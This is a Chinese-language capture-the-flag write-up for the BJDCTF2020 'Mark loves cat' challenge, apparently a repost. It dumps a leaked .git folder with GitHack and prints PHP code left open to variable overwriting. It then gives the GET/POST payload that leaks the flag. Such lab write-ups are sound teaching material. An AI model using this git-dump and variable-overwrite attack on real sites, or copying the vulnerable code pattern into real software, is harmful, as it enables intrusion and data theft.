zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Mark loves cat

    [BJDCTF2020]Mark loves cat

     

     发现git泄露,使用gitHack工具进行分析

    python GitHack.py http://00db6bf7-dacb-4734-965d-9974f3882333.node3.buuoj.cn/.git

    获得index.php和flag.php文件
    index.php

     1 <?php
     2 
     3 include 'flag.php';
     4 
     5 $yds = "dog";
     6 $is = "cat";
     7 $handsome = 'yds';
     8 
     9 foreach($_POST as $x => $y){
    10     $$x = $y;
    11 }
    12 
    13 foreach($_GET as $x => $y){
    14     $$x = $$y;
    15 }
    16 
    17 foreach($_GET as $x => $y){
    18     if($_GET['flag'] === $x && $x !== 'flag'){
    19         exit($handsome);
    20     }
    21 }
    22 
    23 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    24     exit($yds);
    25 }
    26 
    27 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    28     exit($is);
    29 }
    30 
    31 echo "the flag is: ".$flag;

    flag.php

    <?php
    
    $flag = file_get_contents('/flag');

    index.php代码第9行和13行,根据$$和foreach可以判断可能存在变量覆盖漏洞,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。
    例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。

    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){
            exit($handsome);
        }
    }

    通过查看index.php代码第23行,发现get和post中不存在flag参数便退出程序输出$yds变量,这个地方可以利用

    1 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    2     exit($yds);
    3 }

    传递如下提交方式的参数

    get: yds=flag
    post: $flag=flag

    通过post方式传递$flag=flag,最终结果为$$flag=flag

    POST方式处理代码如下

    foreach($_POST as $x => $y){
        $$x = $y;
    }

    通过get方式传递yds=flag,最终结果为$yds=$flag

    GET方式处理代码如下

    foreach($_GET as $x => $y){
        $$x = $$y;
    }

    get和post中不存在flag参数便退出程序输出$yds变量,得到flag

    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
    }

    payLoad:

    ?yds=flag
    post: $flag=flag

  • 相关阅读:
    报表选型应该知道的
    报表工具——开源还是商用
    地图报表怎么做?
    关于报表在移动端展现需你需要知道哪些?
    报表怎样实现滚动的公告效果?
    加速JDBC的快捷方法
    百万级分组大报表开发与呈现
    秒级展现的百万级大清单报表怎么做
    润乾集算器技术文档汇总
    报表使用相关知识及技巧汇总
  • 原文地址:https://www.cnblogs.com/gtx690/p/13289626.html
Copyright © 2011-2022 走看看